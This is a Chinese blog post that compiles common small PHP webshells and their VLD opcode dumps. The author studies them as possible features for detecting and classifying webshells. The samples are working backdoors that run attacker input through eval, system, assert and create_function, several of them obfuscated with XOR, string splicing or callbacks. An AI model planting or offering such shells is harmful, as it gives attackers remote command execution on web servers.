代码编织梦想

一.php opcode

opcode是php语言里供zend引擎执行的一种中间代码,类似java中的字节码、或者python中的字节码对象pycodeobject。常见的opcode可以参考官方文档

通常可以通过PHP的VLD(VulcanLogic Dumper,逻辑代码展现)扩展来查看PHP文件对应的opcode。

关于在windows上安装php和vld,可以参考我的上一篇博客

这里引用到的小马参考php webshell探索-常见小马

二.常见小马的opcode

1.直接型

<?php
eval($_GET['code']);
?>
function name:  (null)
number of ops:  4
compiled vars:  none
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   FETCH_R                      global              $0      '_GET'
         1        FETCH_DIM_R                                      $1      $0, 'code'
         2        INCLUDE_OR_EVAL                                          $1, EVAL
   3     3      > RETURN                                                   1

2.通过反射类调用

<?php
	$func = new ReflectionFunction("system");
	echo $func->invokeArgs(array("$_GET[c]"));
?>
function name:  (null)
number of ops:  13
compiled vars:  !0 = $func
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   NEW                                              $1      :-5
         1        SEND_VAL_EX                                              'system'
         2        DO_FCALL                                      0          
         3        ASSIGN                                                   !0, $1
   3     4        INIT_METHOD_CALL                                         !0, 'invokeArgs'
         5        FETCH_R                      global              $4      '_GET'
         6        FETCH_DIM_R                                      $5      $4, 'c'
         7        CAST                                          6  ~6      $5
         8        INIT_ARRAY                                       ~7      ~6
         9        SEND_VAL_EX                                              ~7
        10        DO_FCALL                                      0  $8      
        11        ECHO                                                     $8
   4    12      > RETURN                                                   1

3.通过排序函数调用

<?php
   $arr = new ArrayObject(array('test' => 1, $_REQUEST['x'] => 2));
   $arr->uksort('assert');
?>
function name:  (null)
number of ops:  12
compiled vars:  !0 = $arr
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   NEW                                              $1      :-5
         1        INIT_ARRAY                                       ~2      1, 'test'
         2        FETCH_R                      global              $3      '_REQUEST'
         3        FETCH_DIM_R                                      $4      $3, 'x'
         4        ADD_ARRAY_ELEMENT                                ~2      2, $4
         5        SEND_VAL_EX                                              ~2
         6        DO_FCALL                                      0          
         7        ASSIGN                                                   !0, $1
   3     8        INIT_METHOD_CALL                                         !0, 'uksort'
         9        SEND_VAL_EX                                              'assert'
        10        DO_FCALL                                      0          
   4    11      > RETURN                                                   1

4.通过类的混淆

1.类的魔术方法

<?php
class PNLK{
    function __destruct(){
        $FQHZ='xk%uoq-jg/P^Rw]'^"\x1b\x19\x40\x14\x1b\x14\x72\xc\x12\x41\x33\x2a\x3b\x18\x33";
        @$FQHZ=$FQHZ('',$this->PZAF);
        return @$FQHZ();
    }
}
$pnlk=new PNLK();
@$pnlk->PZAF=&$_POST['test'];
?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       E:\projects\php\webshells\ClassMagic.php
function name:  (null)
number of ops:  12
compiled vars:  !0 = $pnlk
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   NOP                                                      
   9     1        NEW                                              $2      :-5
         2        DO_FCALL                                      0          
         3        ASSIGN                                                   !0, $2
  10     4        BEGIN_SILENCE                                    ~5      
         5        FETCH_W                      global              $7      '_POST'
         6        FETCH_DIM_W                                      $8      $7, 'test'
         7        MAKE_REF                                         $9      $8
         8        FETCH_OBJ_W                                      $6      !0, 'PZAF'
         9        ASSIGN_REF                                               $6, $9
        10        END_SILENCE                                              ~5
  11    11      > RETURN                                                   1

Class PNLK:
Function __destruct:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       E:\projects\php\webshells\ClassMagic.php
function name:  __destruct
number of ops:  15
compiled vars:  !0 = $FQHZ
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   4     0  E >   ASSIGN                                                   !0, 'create_function'
   5     1        BEGIN_SILENCE                                    ~2      
         2        INIT_DYNAMIC_CALL                                        !0
         3        SEND_VAL_EX                                              ''
         4        FETCH_OBJ_FUNC_ARG                               $3      'PZAF'
         5        SEND_VAR_EX                                              $3
         6        DO_FCALL                                      0  $4      
         7        ASSIGN                                                   !0, $4
         8        END_SILENCE                                              ~2
   6     9        BEGIN_SILENCE                                    ~6      
        10        INIT_DYNAMIC_CALL                                        !0
        11        DO_FCALL                                      0  $7      
        12        END_SILENCE                                              ~6
        13      > RETURN                                                   $7
   7    14*     > RETURN                                                   null

End of function __destruct

End of class PNLK.

2.类的自定义方法

<?php
class Test
{
    public function testing()
    {
        return function() {
            $method='sysatem';
            (substr($method,0,3).substr($method, 4))($_GET['arg']);
        };
    }
}
$a=new Test();
$b=$a->testing();
$b();
?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       E:\projects\php\webshells\ClassSelfDefinedMethod.php
function name:  (null)
number of ops:  10
compiled vars:  !0 = $a, !1 = $b
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   NOP                                                      
  12     1        NEW                                              $3      :-5
         2        DO_FCALL                                      0          
         3        ASSIGN                                                   !0, $3
  13     4        INIT_METHOD_CALL                                         !0, 'testing'
         5        DO_FCALL                                      0  $6      
         6        ASSIGN                                                   !1, $6
  14     7        INIT_DYNAMIC_CALL                                        !1
         8        DO_FCALL                                      0          
  15     9      > RETURN                                                   1

Function %00%7Bclosure%7DE%3A%5Cprojects%5Cphp%5Cwebshells%5CClassSelfDefinedMethod.php0000000005E655C6:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       E:\projects\php\webshells\ClassSelfDefinedMethod.php
function name:  {closure}
number of ops:  17
compiled vars:  !0 = $method
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   7     0  E >   ASSIGN                                                   !0, 'sysatem'
   8     1        INIT_FCALL                                               'substr'
         2        SEND_VAR                                                 !0
         3        SEND_VAL                                                 0
         4        SEND_VAL                                                 3
         5        DO_ICALL                                         $2      
         6        INIT_FCALL                                               'substr'
         7        SEND_VAR                                                 !0
         8        SEND_VAL                                                 4
         9        DO_ICALL                                         $3      
        10        CONCAT                                           ~4      $2, $3
        11        INIT_DYNAMIC_CALL                                        ~4
        12        FETCH_FUNC_ARG               unknown             $5      '_GET'
        13        FETCH_DIM_FUNC_ARG                               $6      $5, 'arg'
        14        SEND_VAR_EX                                              $6
        15        DO_FCALL                                      0          
   9    16      > RETURN                                                   null

End of function %00%7Bclosure%7DE%3A%5Cprojects%5Cphp%5Cwebshells%5CClassSelfDefinedMethod.php0000000005E655C6

Class Test:
Function testing:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       E:\projects\php\webshells\ClassSelfDefinedMethod.php
function name:  testing
number of ops:  3
compiled vars:  none
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   6     0  E >   DECLARE_LAMBDA_FUNCTION                                  '%00%7Bclosure%7DE%3A%5Cprojects%5Cphp%5Cwebshells%5CClassSelfDefinedMethod.php0000000005E655C6'
   9     1      > RETURN                                                   ~0
  10     2*     > RETURN                                                   null

End of function testing

End of class Test.

3.反序列化

<?php
    class Example
    {
       var $var = '';
       function __destruct()
       {
          eval($this->var);
       }
    }
    //$exp =  new Example();
    //$exp->var = "phpinfo();";
    //die(serialize($exp));
    unserialize($_GET['saved_code']);
?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       E:\projects\php\webshells\unserialize.php
function name:  (null)
number of ops:  7
compiled vars:  none
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   NOP                                                      
  13     1        INIT_FCALL                                               'unserialize'
         2        FETCH_R                      global              $1      '_GET'
         3        FETCH_DIM_R                                      $2      $1, 'saved_code'
         4        SEND_VAR                                                 $2
         5        DO_ICALL                                                 
  14     6      > RETURN                                                   1

Class Example:
Function __destruct:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       E:\projects\php\webshells\unserialize.php
function name:  __destruct
number of ops:  3
compiled vars:  none
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   7     0  E >   FETCH_OBJ_R                                      $0      'var'
         1        INCLUDE_OR_EVAL                                          $0, EVAL
   8     2      > RETURN                                                   null

End of function __destruct

End of class Example.

5.通过函数的混淆

<?php
$greet = function(){
    $method='system';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
echo $greet();
?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       E:\projects\php\webshells\FunctionConfound.php
function name:  (null)
number of ops:  6
compiled vars:  !0 = $greet
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   DECLARE_LAMBDA_FUNCTION                                  '%00%7Bclosure%7DE%3A%5Cprojects%5Cphp%5Cwebshells%5CFunctionConfound.php000000000607B071'
   5     1        ASSIGN                                                   !0, ~1
   6     2        INIT_DYNAMIC_CALL                                        !0
         3        DO_FCALL                                      0  $3      
         4        ECHO                                                     $3
   7     5      > RETURN                                                   1

Function %00%7Bclosure%7DE%3A%5Cprojects%5Cphp%5Cwebshells%5CFunctionConfound.php000000000607B071:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       E:\projects\php\webshells\FunctionConfound.php
function name:  {closure}
number of ops:  17
compiled vars:  !0 = $method
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   3     0  E >   ASSIGN                                                   !0, 'system'
   4     1        INIT_FCALL                                               'substr'
         2        SEND_VAR                                                 !0
         3        SEND_VAL                                                 0
         4        SEND_VAL                                                 3
         5        DO_ICALL                                         $2      
         6        INIT_FCALL                                               'substr'
         7        SEND_VAR                                                 !0
         8        SEND_VAL                                                 4
         9        DO_ICALL                                         $3      
        10        CONCAT                                           ~4      $2, $3
        11        INIT_DYNAMIC_CALL                                        ~4
        12        FETCH_FUNC_ARG               unknown             $5      '_GET'
        13        FETCH_DIM_FUNC_ARG                               $6      $5, 'arg'
        14        SEND_VAR_EX                                              $6
        15        DO_FCALL                                      0          
   5    16      > RETURN                                                   null

End of function %00%7Bclosure%7DE%3A%5Cprojects%5Cphp%5Cwebshells%5CFunctionConfound.php000000000607B071

6.普通的混淆

<?php
$xh = array('','s');
$xh1 = 'a'.$xh[1].'ser'.chr('116');
@$xh1($_POST['dike']);
?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       E:\projects\php\webshells\transform.php
function name:  (null)
number of ops:  17
compiled vars:  !0 = $xh, !1 = $xh1
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   ASSIGN                                                   !0, <array>
   3     1        FETCH_DIM_R                                      $3      !0, 1
         2        CONCAT                                           ~4      'a', $3
         3        CONCAT                                           ~5      ~4, 'ser'
         4        INIT_FCALL                                               'chr'
         5        SEND_VAL                                                 '116'
         6        DO_ICALL                                         $6      
         7        CONCAT                                           ~7      ~5, $6
         8        ASSIGN                                                   !1, ~7
   4     9        BEGIN_SILENCE                                    ~9      
        10        INIT_DYNAMIC_CALL                                        !1
        11        FETCH_FUNC_ARG               unknown             $10     '_POST'
        12        FETCH_DIM_FUNC_ARG                               $11     $10, 'dike'
        13        SEND_VAR_EX                                              $11
        14        DO_FCALL                                      0          
        15        END_SILENCE                                              ~9
   5    16      > RETURN                                                   1

7.其他的隐藏方式

1.ob_start

ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       E:\projects\php\webshells\ob_start.php
function name:  (null)
number of ops:  9
compiled vars:  none
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   INIT_FCALL                                               'ob_start'
         1        SEND_VAL                                                 'assert'
         2        DO_ICALL                                                 
   3     3        FETCH_R                      global              $1      '_REQUEST'
         4        FETCH_DIM_R                                      $2      $1, 'pass'
         5        ECHO                                                     $2
   4     6        INIT_FCALL                                               'ob_end_flush'
         7        DO_ICALL                                                 
   5     8      > RETURN                                                   1

2.register_shutdown_function

$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       E:\projects\php\webshells\register_shutdown_function.php
function name:  (null)
number of ops:  10
compiled vars:  !0 = $e
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   FETCH_R                      global              $1      '_REQUEST'
         1        FETCH_DIM_R                                      $2      $1, 'e'
         2        ASSIGN                                                   !0, $2
   3     3        INIT_FCALL                                               'register_shutdown_function'
         4        SEND_VAR                                                 !0
         5        FETCH_R                      global              $4      '_REQUEST'
         6        FETCH_DIM_R                                      $5      $4, 'pass'
         7        SEND_VAR                                                 $5
         8        DO_ICALL                                                 
   4     9      > RETURN                                                   1

3.回调函数

call_user_func('assert', $_REQUEST['pass']);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       E:\projects\php\webshells\call_user_function.php
function name:  (null)
number of ops:  6
compiled vars:  none
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   INIT_FCALL                                               'assert'
         1        FETCH_R                      global              $0      '_REQUEST'
         2        FETCH_DIM_R                                      $1      $0, 'pass'
         3        SEND_USER                                                $1
         4        DO_FCALL                                      0          
   3     5      > RETURN                                                   1

4.数组

$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e))
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       E:\projects\php\webshells\array.php
function name:  (null)
number of ops:  15
compiled vars:  !0 = $e, !1 = $arr
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   FETCH_R                      global              $2      '_REQUEST'
         1        FETCH_DIM_R                                      $3      $2, 'e'
         2        ASSIGN                                                   !0, $3
   3     3        FETCH_R                      global              $5      '_POST'
         4        FETCH_DIM_R                                      $6      $5, 'pass'
         5        INIT_ARRAY                                       ~7      $6
         6        ASSIGN                                                   !1, ~7
   4     7        INIT_FCALL                                               'array_filter'
         8        SEND_VAR                                                 !1
         9        INIT_FCALL                                               'base64_decode'
        10        SEND_VAR                                                 !0
        11        DO_ICALL                                         $9      
        12        SEND_VAR                                                 $9
        13        DO_ICALL                                                 
   5    14      > RETURN                                                   1

5.反引号

<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       E:\projects\php\webshells\backquote.php
function name:  (null)
number of ops:  9
compiled vars:  !0 = $output
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   INIT_FCALL                                               'shell_exec'
         1        SEND_VAL                                                 'ls+-al'
         2        DO_ICALL                                         $1      
         3        ASSIGN                                                   !0, $1
   3     4        ROPE_INIT                                     3  ~4      '%3Cpre%3E'
         5        ROPE_ADD                                      1  ~4      ~4, !0
         6        ROPE_END                                      2  ~3      ~4, '%3C%2Fpre%3E'
         7        ECHO                                                     ~3
   4     8      > RETURN                                                   1

可以看到反引号自动添加了shell_exec的调用。

再来跟下面脚本对比下:

<?php
$output = 'ls -al';
shell_exec($output);
echo "<pre>$output</pre>";
?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       E:\projects\php\webshells\shell_exec.php
function name:  (null)
number of ops:  9
compiled vars:  !0 = $output
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   ASSIGN                                                   !0, 'ls+-al'
   3     1        INIT_FCALL                                               'shell_exec'
         2        SEND_VAR                                                 !0
         3        DO_ICALL                                                 
   4     4        ROPE_INIT                                     3  ~4      '%3Cpre%3E'
         5        ROPE_ADD                                      1  ~4      ~4, !0
         6        ROPE_END                                      2  ~3      ~4, '%3C%2Fpre%3E'
         7        ECHO                                                     ~3
   5     8      > RETURN                                                   1

从opcode上来看除了赋值几乎完全一样。

三.总结

这里列举了一些小马的opcode,遗憾的是我只会通过vld查看opcode,尚不知有没有通过api的方式获取opcode, 而且也需要进一步理解这些opcode的含义,以及如何把opcode当作特征用作webshell分类。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/qq_44370676/article/details/111059387

安全巡检-爱代码爱编程

安全巡检 目的 识别信息系统存在的安全脆弱性、分析信息系统存在的风险,并及时采取措施予以整改,保障信息系统安全稳定运行 巡检收益 1、通过专业、严谨的安全巡检服务,确保客户IT环境的安全性和稳定性 2、大大降低客户的运维风险和运维成本 3、专业的安全技术和专业的人员及时、全面的掌握客户IT环境的安全现状和面临的风险,并提出改进建议,降低风险

前端安全(3):跨站请求伪造 CSRF(Cross-site request forgery)-爱代码爱编程

一、什么是CSRF CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。 一个典型的CSRF攻击有着如下的流程: 受害者登录a.com,并保留了

简析游戏公司的ddos防护方案,教你做出最合适的选择-爱代码爱编程

相信许多有游戏业务的公司都有一个共同的烦恼,那就是服务器的DDoS防护问题,因为服务器经常会受到一些DDOS攻击。许多游戏公司使用的服务器防不住攻击,十分影响玩家的体验,给公司也带来了巨大的损失。那么如何解决DDoS防护的问题就是迫在眉睫的事情了。 有人的地方就有江湖,互联网上也是如此。网络不断发达的今天,对于企业而言,网络服务器是否安全可能会牵涉到企业存

vuluhub靶场实战之breach1.0-爱代码爱编程

环境 kali(攻击):192.168.110.128 breach(靶机):192.168.110.140 0x01 主机发现 netdiscover -i eth0 -r 192.168.110.0/24 Currently scanning: Finished! | Screen View: Unique Hosts

XCTF 攻防世界 Reverse新手题(insanity, python-trade)-爱代码爱编程

XCTF 攻防世界 Reverse新手题(insanity, python-trade) 1. insanity 这一题十分的简单,将下载下来的附件直接用IDA打开,查看Hey-View,在最右侧一栏进行查找,大概在后半部分,可以直接看到flag 2. python-trade 首先,这个题目没有用到IDA,因为看到下载的附件是.pyc后缀的,是p

什么是下一代防火墙NGFW(Next Generation Firewall)?-爱代码爱编程

概述 下一代防护墙(Next Generation Firewall, 简称 NGFW),在2007年Gartner提出了这一概念。两年后的2009年,Gartner正式发布了《Defining the Next-Generation Firewall》,对下一代防火墙的定义做了明确说明。相对于IPS、VPN等当时现有安全产品,NGFW给人的感觉就是:我

Linux安装php-vld扩展-爱代码爱编程

PS:原创文章,如需转载,请注明出处,谢谢!      本文地址:http://flyer0126.iteye.com/blog/2427588   安装查看opcode利器vld,记录一下开发机安装php-vld过程。 一、准备工作     Linux 开发机一台;     Nginx、PHP已安装。 二、安装php v

OPC通讯开发——客户端开发工具WTopcclient说明手册部分翻译及个人补充-爱代码爱编程

前言    经过多个月的开发、现场测试和反馈修改,自己开发的OPC客户端终于真正能在现场使用了。由于工业现场的服务器很古老,只支持OPCDA架构,我们也只能按照DA的标准设计客户端。由于有着WTopcclient这个相对好用的客户端开发工具,在开发方面花费的精力还好,可是却苦了现场的同学,在DCOM配置上花费了不少功夫╮(╯-╰)╭,在这里向他们表示最高

虚拟机字节码指令集-爱代码爱编程

我们都知道 *.java 源代码经过编译器编译后会生成 *.class 文件,方法体中的代码会存放在方法表中 Code 属性中(接口和抽象类除外,没有 Code 属性). Code 属性的结构: attribute_name_index -> UTF8(Code) attribute_length info{ max_stack max_loca